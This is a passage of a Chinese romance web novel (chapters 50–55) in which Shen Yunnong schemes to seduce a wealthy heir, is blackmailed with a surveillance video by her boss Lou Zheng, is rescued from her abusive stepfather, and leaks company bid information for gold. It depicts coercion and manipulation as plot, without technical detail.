他们的关系突然纯洁了起来,这是好现象。 既然如此,那沈韫浓觉得,她更可以放心大胆攻略楼凤栖了。 机会这次不请自来。 楼凤栖这次亲自来找楼铮借人。 他代表楼氏出席一个慈善晚宴,需要女伴。 这次是过了明路的,据说是经过了老太太的允许,楼铮没有不放人的理由。 沈韫浓简直像中了彩票一样开心。 她觉得自己最近的运势真的不错。 宴会一切都挺顺利,楼凤栖又是个高情商的,左右逢源,赢得了不少人的好感。 不料中途有许家人过来敬酒。 是许砚和他的几个堂兄弟。 一群人把楼凤栖围住,嘴上说着恭维的话,向他敬酒,实际上却有把他灌倒,不醉不归的架势。 沈韫浓猜测,大概是许春安上次在楼老太太寿宴上出丑,让许父恼羞成怒,一股脑儿把这件事怪到了楼凤栖头上。 许砚她是接触过的,要是没有许父的授意,不可能这么激进。 关于许春安的身世,沈韫浓也从林贞嘴里听说了一些。 据说,她是许太太从福利院领养的。 许太太结婚后一直生不出孩子,便去领养了一个,又过了两年才有了许砚。 也正因如此,楼凤栖跟她不清不楚,却没想过娶她:一个养女能得到多少扶持呢? 这情况跟沈韫浓大差不差。 沈韫浓仅有的优势,是比许春安更漂亮,带出去更有面子。 几个许家兄弟来势汹汹,楼凤栖想脱身都难。 起初沈韫浓还想帮他挡两杯,却直接被挤在人群外。后来,再想想他的所作所为,索性就不帮了。 对方有备而来,晚宴还没结束,楼凤栖便已经被灌得酩酊大醉,走路都打摆子。 这是许家人对楼凤栖的警告。 楼凤栖想提前离场,沈韫浓去扶他。 一直到地库,沈韫浓才反应过来:这不就是天赐的机会?! 第五十章 踢到楼小铮 楼凤栖醉得厉害,很难发生什么。 但只要她将他带到酒店房间,事情就已经成功了一大半。 沈韫浓的心里像崩了一锅爆米花,蓄势待发,马上就要炸开。 她将楼凤栖放在后座,指挥司机把车开出停车场。 路上,甚至将他的头放到了自己腿上。 “凤栖总,还能坚持吗?”沈韫浓柔声问他。 楼凤栖似乎根本听不懂她说什么,只是睁开眼看了看她,又合上。 车子开到半路,楼凤栖就吐了。 再往前,旁边有家酒店。 沈韫浓趁机让司机停车,拿了瓶水,将他扶到路边漱口。 又问他:“你这状态回家我也不放心,这里就有酒店,我扶你进去休息好不好?” 楼凤栖如果头脑清醒,一定会慎重考虑。 毕竟他摸不清沈韫浓和楼铮发展到了哪一步,也摸不清沈韫浓的脾气。 如果他们一夜情,她那么聪明,想打发了,可就不像许春安那么容易了。 不睡,互相你来我往打太极是一回事;睡了,就得再重新审视一下两人的关系。 可他现在不清醒,只凭本能做事,想倒头就睡——字面意义上的睡。 他点了点头。 沈韫扬起嘴角,扶着楼凤栖进了酒店,用自己的身份证开了间大床房。 在楼氏工作这阵子,沈韫浓早就摸清了。 楼铮和楼凤栖的司机都是非常谨慎的人,绝对不会多说一句话,所以她还是很放心的。 顺利开了房间,沈韫浓将楼凤栖扶上楼。 在电梯里,她几次深呼吸。 不管怎样,一会儿还是要想办法留下些痕迹,免得楼凤栖醒了不认帐。 上天是真的在帮她,楼凤栖烂醉,即便动真格的,膜的事应该也发现不了。 电梯从1楼上升到19楼,她也给自己打足了气。 到房间时,楼凤栖已经几乎昏死过去,半边身子都靠在沈韫浓身上。 沈韫浓刷卡进门,用了大力气把他放到了床上。 她伸手准备替他脱衣服。 敲门声响起。 沈韫浓以为是客房服务——这家酒店会为刚入住的客人送热饮和小蛋糕。 “不需要,谢谢。”她喊了一声,继续去脱楼凤栖的西装。 喝醉的人重得要命,沈韫浓累得气喘吁吁。 敲门声还在继续。 “不需要!” 沈韫浓脱衣服本来就烦,此时更是不耐烦了,她提高了声音。 谁知,外面的人跟听不见一样,敲起来没完。 沈韫浓不得不走过去开门:“我说了不要……” 她的声音小了下去,因为看到了站在门口的楼铮。 他扶着门框,居高临下地看她,那神情皮笑肉不笑,比严肃的时候还吓人。 “楼总。”沈韫浓讪笑,四肢都在一瞬间变得冰冷,“你怎么来了……” 楼铮嗤笑一声,迈着长腿进门,接着,将门在身后合上。 “我不来,就怕某些人出昏招,趁我小叔喝醉占便宜。” 他说着,远远地看了一眼躺在床上的楼凤栖。 楼凤栖的西装被脱了一半,一只袖子还挂在手臂上,衬衫的扣子开了三颗,不知是沈韫浓还是他自己解的。 楼铮的神色一片冰霜。 “我只是看凤栖总醉得太厉害,把他扶到酒店休息,并不是……”沈韫浓想解释,说了一半觉得理由太苍白,有点好笑,便闭了嘴。 楼铮:“沈韫浓,说这话你自己信吗?” 被楼铮一双眼睛沉沉地睨着,沈韫浓不敢跟他正面刚,垂了眼不说话。 楼铮冷笑:“要不是你刚问前台房间有没有杜XX,我都要信了。” 沈韫浓任凭楼铮奚落,并不顶嘴。 可她心里不服气。 虽说她有趁人之危的嫌疑,不够光明磊落,但楼凤栖是个成年人,比楼铮还大三岁,总不能跟谁过夜都要他说了算。 他一次次破坏她的好事,实在不应该。 房内,楼凤栖已经打起了鼾,听上去睡得很不舒服。 楼铮大步走过去,把床头柜上的套子拿了过来。 沈韫浓提着一颗心看他。 “想用是吧?满足你。”楼铮说。 他掐着她的腰,把她按在了门上。 第一次听人议论她,就是在说她的腰,因此,楼铮对她的腰格外有占有欲。 沈韫浓被他牢牢禁锢,惊得瞪大眼睛。 他的唇覆上来,狠狠地咬她的唇瓣,舌尖,没有温存,带着浓浓的惩罚性质,攻城略地,不给她一丝逃脱的余地。 沈韫浓吃痛,沉默着要将他推开。 太荒唐了。 此时,在房内醉成一滩泥的楼凤栖,像动作小电影里熟睡的丈夫,更加剧了这种刺激。 沈韫浓的心快从嗓子眼跳出来,她是真的怕了。 怕楼铮当着楼凤栖的面乱来。 他有恃无恐,天不会塌,可她却会万劫不复。 她狠狠咬破了他的嘴唇,逼他给她喘息的机会,之后,在他耳边一字一顿:“楼铮,你要敢再乱来,我现在就废了你。” “威胁我是吧?”楼铮混不吝的劲儿上来了,开始扯自己领带,“我看你敢。” 沈韫浓屏息,膝盖往上一顶。 她用了全力,眼看着楼铮白了一张脸。 “沈,韫,浓!”楼铮咬牙切齿,“下半辈子想守活寡是吧?” 两人的声音一直很低,但气氛火药味十足。 沈韫浓顶完才开始后悔,要是楼小铮出什么事,她别说得势了,怕是要活着都难。 “楼总,你没事吧?”她肉眼可见地紧张,几乎要蹲下来看着楼小铮道歉。 楼铮冷着脸开门,把她扯到了走廊里。 “走,回家!” 第五十一章 居然录视频 沈韫浓怎么也没想到,楼铮嘴里的回家,是真回家。 回他家。 车子一路开到他的别墅,沈韫浓惊讶地睁圆了眼睛。 “对一个男人来说,带女人回家意味着什么?”她这次终于忍不住要问这个问题。 楼铮嗤笑一声,打量她:“你那么懂男人,会不知道?” 沈韫浓:“……” 倒也没那么懂,比如楼铮一直阻挠她攻略楼凤栖这件事,她就挺不理解。 但楼铮还在气头上,她不敢顶嘴。 走进别墅,沈韫浓跟楼铮上五楼,走进一个房间。 满屋子现代化放映设备,看布置,这里应该是他的私人影院。 沈韫浓不明所以,只能按他的要求坐在了荧幕前的沙发上。 楼铮出去,再回来,手里多了个银色U盘。 不多时,沈韫浓便在荧幕上看到了自己。 是她和楼铮的第一次! 猩红的眼尾,妖艳的泪痣,难以启齿的声音……哪怕没有身后的人,也能让人一眼看出她在做什么。 凉意在四肢百骸蔓延,沈韫浓脸上的血色也褪得干干净净。 她百密一疏,没想到楼铮会这么无耻。 她的手不自觉地收紧,将身下的真皮沙发抓出几道深深的划痕,几次想开口说点什么,脑子却一片空白。 “怕了?”楼铮看她的反应,轻笑了一声。 良久,沈韫浓才找回自己的声音:“楼铮,你想要什么?” 她不知道自己在发抖。 看她吃瘪,楼铮觉得胸口堵着的那口气,总算消了一些。 他凑过来耳语,在她耳边轻啄了一下:“宝贝,你应该拿出平时桀骜不驯的样子来,你现在这样,可不好看了。” 沈韫浓不作声,她平日里的坚强伪装在楼铮面前一点点破溃,如同刺猬被拔光了浑身的刺,任他宰割。 事发突然,全无准备,她这次是真的受了惊吓。 偏偏楼铮还不肯放她。 “你说,我要是把这个视频发给小叔看,他会怎么想?” “别想装作AI换脸的,我能说出你身上所有痣的位置,AI不能。” 楼铮的声音听在沈韫浓耳中如同恶魔低语。 “你要是敢让楼凤栖碰你,我就把这个视频发给他。” 沈韫浓不知道自己是怎么从楼铮那里离开的。 她走的时候手脚发麻,眼神空洞,像一具被掏空了灵魂的行尸走肉。 楼铮存了心要吓唬她,硬着心肠没哄,也没告诉她,这视频是他从酒店的监控网络里找出来的。 这次,沈韫浓触及到了他的底线。 平时小打小闹也就罢了,这次如果他再晚出现10分钟,她和楼凤栖…… 楼铮皱眉,闭紧了双眼。 沈韫浓用了两天的时间才缓过来。 可笑她之前居然觉得楼铮这个人可以做朋友。 楼铮是海市最大家族精心培养的继承人。 自己在他眼里,不过是个无聊时的玩物罢了。 他们永远成不了朋友。 接受这个事实,沈韫浓又逼自己打起了精神。 她的人生才刚开始,不能这么毁了。 但这个把柄在楼铮手里一天,她一天就要受制于他。 既然楼铮手里有她的把柄,她也要留下他的把柄。 比起她来,楼铮的名声重要得多,大不了玉石俱焚,要死一起死。 沈韫浓决定铤而走险。 翌日,她敲开了楼铮办公室的门,拿了一份不太要紧的文件去给他签字,在楼铮面前乖顺地弯下身。 楼铮签完,抬眼看她:“今天有活动?” 不怪他问,沈韫浓一改往日的着装风格,穿了件真丝面料的红衬衫,虽然规规矩矩扣到了最上面一颗扣子,但很修身。衬衫外难得搭配了一条项链,直把人的目光往胸前引。 让他签字时,弯腰的弧度恰好勾勒出他最喜欢的曲线。 衬衫下摆收进了黑色包臀裙里,裙子下面,是一双透肉黑丝,搭配七厘米黑色高跟鞋。 楼铮打量她,肆无忌惮。 见楼铮问,沈韫浓以为他上钩。 “晚上有个约会。”她故意说。 楼铮:“什么约会要穿成这样?” 沈韫浓:“放心,不是跟凤栖总。” 说完,她转身就走。 边走边在心里倒计时。 3——2—— 果不其然,还没数到1,楼铮就在身后一扯,又将她困到了怀里。 “沈韫浓,别的男人也不行。” 沈韫浓皱眉,面露嘲讽:“楼总未免管得太宽了。实话告诉你,我不仅要跟别的男人约会,今晚,还会跟他睡。” 她在激他。 楼铮掐着她的腰将她抱到了办公桌上,如她所料,他又吻了上来。 那只手也开始不老实。 沈韫浓一直喊“不要”,口齿清晰,没有一丝暧昧,态度坚定得像是要入党。 她必须是个完美受害者,不然很难得到同情。 “楼总,请你不要一次次强迫我了!”她喊。 “沈韫浓,说这话不心虚?哪次不是你想要?”楼铮冷笑。 没事,这句话可以剪掉。 “我不想要,我只是怕你!你不能因为自己有权势,就这样欺负我!你这是强暴!”沈韫浓大力挣扎,义正辞严。 楼铮牢牢禁锢着她,根本不管她说什么。 直到他的手伸到了她的后腰,从她的裙子腰封处,扯了根迷你录音笔出来。 “啪”的一声,丢在了桌上。 沈韫浓:“……” 他是怎么发现的? 沈韫浓抿唇,从桌上下来,整理了一下衣服,垂眼等他发落。 “演技太拙劣了,沈助理。相比,刚才是不是我演得更好?”楼铮拿起那根录音笔摆弄。 他食指上那个象征权力的戒指格外刺眼。 沈韫浓不言语,垂在身侧的手握成拳。 “不过你精心为我选的这身衣服不错,但以后不许在办公室穿。”楼铮说。 他又抬她的下巴,望进她的眼睛里。 “穿来家里,给我看。” 楼铮拉着她的手,把录音笔放在她被自己掐红的手心上。 “拿去吧,如果你觉得这东西能威胁到我,大可以发出去。” “或者,我帮你报警?” 沈韫浓落荒而逃。 反杀失败,这件事给她造成了不小的心理阴影。 但沈韫浓冷静下来后,想明白了,那个视频楼铮应该只是用来威胁自己的。 等以后他对自己没兴趣了,那东西就没用了。 到时候,无论是楼凤栖还是其他任何男人,他都不会再管。 想清楚这件事,沈韫浓索性就假装什么都没发生过一样,继续每天正常上班了。 这天,有人在公司楼下等她。 是个生面孔。 “沈小姐,我是硕东集团苏磊。”那人递上名片。 第五十二章 最不堪的秘密 硕东集团,就是沈英耀要拖垮的同行之一,苏磊是少东家,老板的大儿子。 二十分钟后,两人坐在了餐厅里。 地方是苏磊定的,私密性很好,说话也方便。 他拿了两根金条给沈韫浓,感谢她提供消息。 “您怎么知道源头是我?”沈韫浓不动声色。 林贞绝不可能透露。 “这并不难猜。”苏磊说,“那份计划书,只有亲近的人可以拿到,这些人里面最希望他倒霉的恐怕只有你。” 沈韫浓没有否认。 让她意外的是,本以为她和沈英耀装得父慈子孝,没想到明眼人都能看出来。 但苏磊找她,绝不会是表示感谢这么简单。 给金条,而不是支票和转账这种容易留下痕迹的东西,起码能证明这个人心思缜密,不鲁莽,可以合作。 两人一顿饭吃到最后,苏磊才说明来意。 “沈小姐,我下周会和沈家竞标一个项目,如果方便的话,请沈小姐替我探一下沈氏的报价。” “是草原网围栏出口的那个项目吗?”沈韫浓问。 “沈小姐果然冰雪聪明。” 这个,沈韫浓还真有。 上次她在沈英耀的保险柜里,可不止拍了计划书。 她把能拍的都拍了。 这个标书在其中,但当时沈韫浓不知道有什么用,只是存到了网盘里。 没想到能派上大用场。 原本只是想给沈英耀找麻烦,竟然还有意外收获。 沈韫浓从苏磊那里一共得了3根200克的金条,按照现在水涨船高的金价行情,回收价能有近60万。 她找了个高点卖出,之后,一股脑把所有钱都提前还了房贷。 还完后,她房贷的本金还差不到300万。 签下提前还款合同的那一刻起,沈韫浓突然觉得,这是门双赢的好生意——让沈英耀不爽算她赢一次,坑了沈英耀肥了自己的钱包,她再赢一次! 思路打开,这种好事再多来几次,相当于沈英耀给她买了套房——这怎么不算赢麻了?! 不出意外,这次投标,硕东以价格优势胜出。 同行之间互相低价竞标也是常事,沈英耀并没有想到“家贼”这一层。 更何况,按照他的计划,苏家是早晚要来哭着来求他并购的,不值得多虑。 于是,他一时闲了下来,又打起了沈韫浓的主意。 这天沈韫浓还在上班,接到了沈英耀的电话。 “你母亲出车祸了,快下来,我在停车场等你。”他说。 关心则乱。 沈英耀沈已经有阵子没找她茬了,沈韫浓一时失了戒备。 她没有多想,跟潘琳说了一声,便火速下楼。 她往外走时,跟楼铮走了个对面,急得招呼都没打。 到了沈英耀车上,沈韫浓才问:“我妈怎么样了?” 沈英耀淡定按中控,锁住车门,之后,从楼氏停车场缓缓驶离。 他没提顾曦薇的事。 却提沈韫浓小时候:“当时你来家里,也就10岁,瘦的跟营养不良一样。是爸爸给你吃好的,供你读书,把你养大。” ?!有病? 沈韫浓不耐烦皱眉,打断他:“我妈是在医院还是在家里?” 沈英耀却自顾自说他的:“早知道你会出落成这个样子,爸爸是怎么也不会娶你母亲的,免得到现在好说不好听,落个霸占继女的坏名声。” 话说到这个份上,沈韫浓再迟钝,也知道被他骗了。 “我妈根本没出事,沈英耀,你骗我?”她声音都尖锐了起来。 她想跳车,发现车门被锁死。 沈英耀再次露出阴冷笑容。 他偏头看着沈韫浓:“本来是不用骗你的,谁让你越大越不听话呢。” “韫浓,你要是乖乖听我的话,哪里还需要买房还可怜兮兮还月供呢?想要多少钱,几套房,我都给你。” 他知道房子的事,沈韫浓不是太意外,毕竟这老王八蛋掌控欲极强,什么都想干涉。 谁知,下一秒,沈英耀又问:“听说,前几天又提前还了50多万。还是楼凤栖给的?他还挺大方的。” 沈英耀消息灵通,又不是太灵通。 他根本想不到沈韫浓会在她眼皮子底线窃取重要文件。 他眼里,女人都是装饰品,顾曦薇是花瓶,她最多也就是比顾曦薇脾气更大一点的花瓶。 也许,他甚至以为沈韫浓是沈清妙那样的蠢货,连标书是什么都不知道呢。 听他这么问,沈韫浓放心了一些。 她冷笑:“楼凤栖要是不大方,我也不会选他呀,你说是吧。” 她知道沈英耀的命门在哪儿,时不时就要狠踩一脚。 果然,沈英耀一听气到失控,拼命加速,油门轰隆作响。 沈韫浓被带到了一个宅子里。 外面有保镖把守,想逃都逃不掉。 “你要做什么?”沈韫浓的神色绷得更厉害,暗自攥紧了拳。 “别紧张嘛。”沈英耀说,伸手摸了摸她的脸。 “你太像她了,有时候看着你,我都会恍惚……”他的眼神里都是痴迷,“我准备了几套她过去喜欢的衣服,你去穿上给我看看,好不好?” 他拍手,有人用托盘端着几套衣服过来。 这是什么变态要求!沈韫浓皱眉:“我不穿。” 沈英耀的笑容越发冰冷。 “这可由不得你。” 他说着,便有人过来要脱沈韫浓的衣服。 千钧一发之际,外面传来一声大喝:“别动,警察!” 瞬间,宅子被团团包围,无数持械的警员冲了进来。 原来是有人举报沈英耀在这个宅子里藏匿违禁品—— 他前阵子刚因私运违禁药品被带走调查,这次被举报,第一时间引起重视也很正常。 就是这个时间,很难不让人怀疑到沈韫浓头上。 “是你干的?”他恶狠狠瞪她。 “快走,少废话!”押他的人甚至给了他一脚。 沈英耀连带着他的保镖们一齐被带走。 只剩下沈韫浓站在当场,心有余悸。 她看手机,和楼铮的通话还没有中断。 在车上听到势头不对,她就悄悄拨了楼铮的电话。 但怕沈英耀察觉,她手机一直装在上衣口袋里,并不知道这个电话有没有打通。 好在,楼铮的救援来得及时。 只不过这次以后,她最不堪的一面也彻底暴露在楼铮面前了。 沈韫浓有点缓不过神来。 院子里只剩下了她一个人。 她不知道站了多久,等终于有勇气走出去时,天都黑了。 楼铮的车停在门口,在等她。 沈韫浓有点意外,却依然走过去,坐在了副驾。 楼铮的眼神里有一闪而过的心疼,随即迅速隐去。 他夸她:“你很聪明,知道在第一时间找我求救。” 沈韫浓不看他,垂着眼看自己的鞋尖:“楼总,我饿了。” 楼铮的心软得一塌糊涂,他想抱紧她,但又有点不敢。 “吃什么?” “你做的舒芙蕾。” 还是那家西点店,沈韫浓又如愿吃到了楼铮亲手做的舒芙蕾。 她沉默地吃完,抬眼看楼铮:“你帮我拿指纹片那次欠你的,还没有兑现。” 第五十三章 他不是她的太阳 沈韫浓坚持不肯去楼铮的别墅,他们又去了酒店。 她洗澡的时间有点长,以至于楼铮怕她昏死过去,不得不旋开了浴室门。 沈韫浓站在花洒下面,双眼通红,不知道是被热气熏的,还是在哭。 楼铮衣服都没来得及脱,直接走过去关了水,又扯了条浴巾把她包起,抱出来。 这一晚,沈韫浓快昏睡过去的时候,情绪才算平静下来。 她迷迷糊糊问楼铮:“你这次没有录像吧?” 楼铮一怔,有点后悔不该用那个视频吓她了。 直到听到“没有”两个字,沈韫浓才放心地昏睡过去。 再醒来时,天已经大亮。 沈韫浓在楼铮怀里,身上穿着楼铮的衬衫。 沈韫浓抬眼,看着男人走势利落的下颌线,和优越的鼻梁,出了好一会儿的神。 回忆昨夜种种,有点懊恼自己的失控。 她刚决定了要跟楼铮撇清关系,以后一定不能这样了。 她准备起身,人刚动一下,便被楼铮抱住了腰。 “别动,再睡一会儿。” 沈韫浓:“……要上班,已经迟到了。” “没事。”腰上那只手缠得更紧,“我让潘琳替你请假了。” 沈韫浓脑抽了一瞬:“那奸情不就暴露了?” 那天说是炮友,现在又说是奸情,这就是她对两人关系的定义。 楼铮很不满。 “我就这么见不得人?” 沈韫浓把他的手臂从自己腰上拿开,先起床。 “你不怕因为你是楼铮,天塌了也不会砸你。别人只会说,你犯了全天下男人都会犯的错。而我,就是行为不端,勾引上司想上位。” 她又回到了之前牙尖嘴利的样子,看来是真好了。 楼铮也不再像昨天那样惯着她,他坐起身,点了根烟。 “沈助理真双标啊,哪一次不是你主动睡完我就跑?” 他上头的时候,最多抱着她亲。 而她简直拿他当枕边玩具用,还说这话,真好意思! 沈韫浓:“……” 这话竟然很难反驳。 “以后再也不会了。”她举起三指就要发誓。 惊的楼铮从被子里一跃而起,攥住她的手。 “别来这一套,你遭雷劈的时候会连累我。” 两人贴得无限近,拉拉扯扯,又厮混了半天,一起吃了早午餐,沈韫浓才离开。 坐在出租车上,她在裤子口袋里摸到了一个硬物,是楼铮的U盘,那个装着她把柄的U盘! 沈韫浓又惊又喜。 楼铮那样骄傲的人,把U盘给她,意思是这件事就过去了。 她甚至不需要管他手里还有没有备份,他不会出尔反尔。 他这么做,无非是看她昨夜太悲伤,想哄哄她。 莫名地,沈韫浓想哭。 此时此刻,她不再去想楼铮对自己,是不是只想玩玩算了。 她觉得,至少他对自己的心疼和保护欲都是真的。 自从亲爸去世后,除了林贞,从来没有人对她这样好过了。 她情绪上头,给楼铮打了微信视频过去。 楼铮还在酒店床上抽烟,接了也不说话,神情淡淡地看着她。 他接的太快,他们四目相对,沈韫浓一时间忘了要说什么。 楼铮不开口,也不催她。 视频里,前置摄像头有滤镜,他的脸好看得更加震撼,目光里有一丝暖意。 他不是她的太阳,只是偶尔大发慈悲,照到她身上。 沈韫浓清醒了一点:“没事,我按错了。” 她声音里带了点娇气的鼻音,软软的。 楼铮勾了下唇:“嗯。” 于是,两人又没什么话了。 楼铮没挂,沈韫浓也不好先挂,他们就这样静静地看着彼此。 一直到沈韫浓下车,需要用手机给司机扫码付款,才有理由挂断。 下车后,接触到外面的冷空气,沈韫浓彻底醒透。 上头是大忌啊,沈韫浓! 回家后,沈韫浓找顾曦薇认真谈了一次。 这一次,她跟顾曦薇说沈英耀对她图谋不轨,劝顾曦薇离婚跟她走。 顾曦薇满脸不敢置信。 “宝宝,这里面一定有什么误会,你爸爸不是那样的人。他只爱妈妈一个人。你忘了,前阵子他还因为妈妈跟一个男性朋友聊微信,把妈妈关起来了。” 沈韫浓把顾曦薇被关的真实原因说给她听。 顾曦薇更加不信。 “等你爸爸回来,我亲自问他。”她说。 面对母亲,沈韫浓只觉得无力感爆棚,她一时间竟然不知道顾曦薇是真傻,还是装鸵鸟。 沈英耀这次又被查了48小时才放出来。 这回他出来,没有打沈韫浓,甚至还有点躲着她。 沈韫浓看到顾曦薇跟着他一路上了楼。 她在楼下静坐着等。 两个多小时后,顾曦薇下来,看沈韫浓的神态都有点不高兴。 “宝宝,妈妈知道你一直不喜欢爸爸。可你这样离间妈妈和爸爸的感情,实在是太不应该了!”顾曦薇对着她板起脸来。 “以后,妈妈再也不想听到这样诋毁爸爸的话!沈韫浓,你这样诋毁爸爸,这件事传出去,丢的是妈妈的脸,都会觉得妈妈没教育好你!” 不用说,她又被沈英耀PUA话术洗脑成功了。 沈韫浓气得太阳穴直跳,一个字都不想跟顾曦薇多说。 在那一瞬间,她甚至想,算了,别管顾曦薇了,自己一个人走吧,比起自己这个女儿,顾曦薇更离不开沈英耀。 可看着她的眼睛,沈韫浓在心里告诉自己:这是最后一次。 这件事最后还是不了了之了,沈英耀收敛了几天。 沈韫浓猜也许楼铮警告过他什么,将他震慑住了。 但这种人,不会一直老实下去的,狐狸尾巴早晚藏不住。 沈韫浓觉得,她不能光等着,她得趁着这个时间做点什么。 她突然想到了一个人。 第五十四章 同心锁 姜疏桐这个人,还是沈韫浓当年在沈英耀书房里发现的。 沈英耀有一张老照片,里面是三个人的合影:沈英耀,沈英耀同父异母的弟弟沈英东,另一个就是姜疏桐。 那是他们的年轻时候。 如果不是照片上写了名字,沈韫浓都要以为那个穿牛仔背带裤的女孩是顾曦薇了。 太像了,除了姜疏桐眉目间有英气,看上去智力感更足,相比之下,顾曦薇更妩媚。 沈韫浓调查了姜疏桐好几年,但能查到的东西很少。 只知道姜疏桐是沈英东的未婚妻,在沈英东去世后便在榕城出家了。 见一见姜疏桐。 动了这个念头后,根本压不下去。 周六一早,沈韫浓坐上了去榕城的高铁。 上午11点,榕城茅崖寺。 她说找慧慈师父,马上有人进去通报,之后,将她带到了一个房间里。 一个女人正在闭目打坐。 沈韫浓找了个蒲团,在不远处坐下。 她打量眼前这个女人。 她脸很小,白皮肤尖下巴,哪怕是戴着僧帽,还闭着眼,也能让人看出好容貌。 她就是姜疏桐,沈英耀的执念。 很久,慧慈才睁眼,看沈韫浓的眼神有一闪而过的诧异。 沈韫浓起身,拿着蒲团坐到姜疏桐面前去。 沈韫浓乖乖做自我介绍。 姜疏桐的神情闪过一丝戒备。 沈韫浓在姜疏桐的禅房里呆了三个小时,期间,有工作人员送了素斋给她吃。 吃完饭,姜疏桐也没有留她。 “我能告诉你的也就这些了,回去吧,孩子,别的我也帮不了你。” 沈韫浓感激:“谢谢慧慈师父,已经很感恩了。” 姜疏桐已经挖开自己的伤口给她看,她不能要求更多。 她们都是一样的苦命人,或许,只有沈英耀真下地狱的那天,她们才能解脱。 下午2点,沈韫浓从寺院出来,一个人往外走,准备下山。 远远地看着一行人走过来。 是楼铮和陈知意,陪着楼老太太来了。 跟班的还有几个佣人模样的小年轻。 楼老太太一边走,一边说:“按理说应该上午过来,但咱们离的远,神明也不会怪罪。” 楼铮和陈知意都在附和。 茅崖寺全国有名,香火鼎盛,的确有很多豪门贵族慕名而来。 但榕城距离海市一千多公里,在这里都能遇上,还真是巧。 沈韫浓不好躲,主动走过去打招呼。 楼铮看了她一眼,看样子不大高兴。 沈韫浓在心里翻了个白眼,他该不会觉得自己真的是来拜佛的吧? 楼老太太骄矜地点点头。 反而是陈知意最热情,牵了沈韫浓的手,问道:“都说茅崖寺求姻缘最灵,韫浓居然也来了!” 挺有意思的话,“也”字更妙。 可她还真不是为这个。 沈韫浓装没听懂,笑了笑答:“来这边看一个朋友,正要回去。” 陈知意执意邀请沈韫浓跟他们一起。 她说他们是坐私人飞机来的,替楼铮的堂姐求姻缘,希望她明年遇到合适的人。 又说这边的姻缘殿可以请红绳,特别灵验,要拉着沈韫浓去求一条。 沈韫浓推辞。 楼铮淡淡开口:“沈助理不是没什么事吗?晚点一起回吧。” 沈韫浓这下走不掉了。 她只好跟在一行人后面,极力降低存在感。 老太太带着众人各个殿都拜了拜,沈韫浓借口自己生理期不方便,站在殿外等。 不一会儿,到了姻缘殿的院内。 众人又一起拜完出来,老太太催楼铮和陈知意:“旁边不是还能挂同心锁嘛,你们也去挂一个。” 陈知意便拉了沈韫浓一起过去。 “你把小叔的名字写上,没准回去他就跟你表白了。”陈知意说。 沈韫浓还没来得及找借口拒绝,楼铮已经站在了姻缘桥前叫她。 语气里带了几分不耐烦:“陈知意,你挂不挂,不挂我回去了。” 陈知意翻白眼,小声嘀咕:“你以为我想跟你挂吗?哄老太太罢了。” 一边说,却一边走了过去。 沈韫浓远远地看着两人用马克笔在锁上写了字,挂上去,心里闪过一丝嘲讽。 陈知意应该也喜欢楼铮吧?她只是觉得装作不在乎,能让楼铮觉得她特别一些。 可喜欢和咳嗽一样,哪里藏得住? 至于楼铮喜不喜欢陈知意,那不重要,反正他们代表的是两个家族的强强联合。 他们的同心锁是注定要锁在姻缘桥上的。 挂完同心锁,陈知意又去请红绳,偏要拉着沈韫浓一起。 那位师父告诉她们,喜欢谁就可以把红绳系到那人脚上,一拴就是一辈子。 这……不太行,沈韫浓想嫁楼凤栖不假,但没想跟他过一辈子。 她不过是想借着他往上爬一爬。 领完红绳,她随意地塞进了口袋里,并不当真。 他们当天回去。 私人飞机晚上7点启航,临行前,众人还有时间在机场吃个饭。 路过奢侈品专柜,楼铮吩咐沈韫浓去帮客户买个礼物。 沈韫浓应声去了。 楼铮预算给的充足,她给客户挑了一个爱马仕的自行车,让专柜配送到客户地址。 付完钱一回头,便看到楼铮过来,站在了她身后。 楼铮伸手:“拿来。” 沈韫浓把购物小票递了过去。 他没接,露出看智障的眼神。 随即,直接伸手掏她口袋,摸走了那根红绳。 沈韫浓从来没觉得这么无语过。 “你该不会真觉得我能信绑了红绳,楼凤栖就会娶我吧?”她哭笑不得。 楼铮有时候真的挺幼稚。 楼铮:“你要不信,会千里迢迢过来?” 沈韫浓不好跟他说自己的来意,只嘟哝道:“我说自己来看朋友你又不信。” 楼铮最终也没说自己信不信。 他把那根红绳塞进自己裤子口袋,迈开长腿走了。 很快到了元旦假期。 沈韫浓约了林贞去花都旅游。 旅游当然不是为了玩,而是因为楼凤栖到花都出差去了。 第五十五章 她是我老婆 花都的气候,比海市更宜人,沈韫浓和林贞一落地便在机场换了夏天的裙子。 酒店是林贞找的。 林贞说楼凤栖来参加的这个会议,大家差不多都住这里。 “楼七应该晚上10点左右结束应酬,我哥也在现场,结束后,让我哥约他出来宵夜。”林贞说。 为了不要显得心机太重,沈韫浓特地提前发了个微信给他。 “贞贞带我来花都玩了,晚上跟越哥一起宵夜,你会在吗?” 楼凤栖回:“你希望我在吗?” 沈韫浓:“(装傻.jpg)你希望我希望你在吗?” 楼凤栖回了个叉腰大笑的表情。 “这将是我此行最期待的一顿饭。” 沈韫浓:“只是期待饭吗?” 楼凤栖:“更期待见你。” 两人有来有回地聊了几句,沈韫浓勾起唇角。 林贞凑过来看,“啧”了一声。 “好几个月了,居然才到这一步,搞不懂你。”她无情吐槽,“要我说,今天赶紧灌醉拿下,免得夜长梦多。” 灌醉是要灌的,但想到上次楼铮的疯劲儿,这次沈韫浓准备灌自己。 林贞一拍胸脯:“放心,包在我身上!” 晚上10点半,林越林贞兄妹,楼凤栖和沈韫浓,坐在了花都的酒吧一条街。 沈韫浓露出兴奋表情:“这是我第一次来酒吧呢!好有趣!” 两个男人很捧场。 林越说:“沈妹妹,你就是太乖了,家教又严,我们也不敢叫你出来玩,不然,海市好玩的夜店多着呢!” 楼凤栖说:“韫浓太传统了,现在这样的女孩真的非常少。” 林贞低头吃东西,整个人调成了震动模式,努力不让自己笑出声来。 直到沈韫浓在桌下悄悄给了她一脚,她才咳了一声,举起酒杯。 “来,让我们共同举杯,庆祝韫浓第一次来酒吧!” 劝沈韫浓喝酒,林贞有的是理由。 再加上沈韫浓是酒精不耐受体质,一喝就脸红。 三五杯啤酒下肚,便可以放心装醉。 她伏在桌上歪头看着林贞笑:“我现在看你……都是重影儿。” 林贞会意,不一会儿接了个电话。 “哎呀,是吗?我马上就去!”她说。 拉起林越:“哥,酒店打电话说我房间好像泡水了,你跟我一起去看看吧!” 林越喝得意犹未尽,不想动:“他们自己不能处理?” “哎呀,我贵重东西都在呢,走了。”林贞在心里骂林越猪队友,生拉硬拽地把他带走了。 临走还特地说:“你们慢慢喝,不着急哈!” 看着兄妹俩一个不想走,一个硬要拉的背影,楼凤栖笑着戳穿。 “林小姐刚才接的不是电话,是闹钟。” 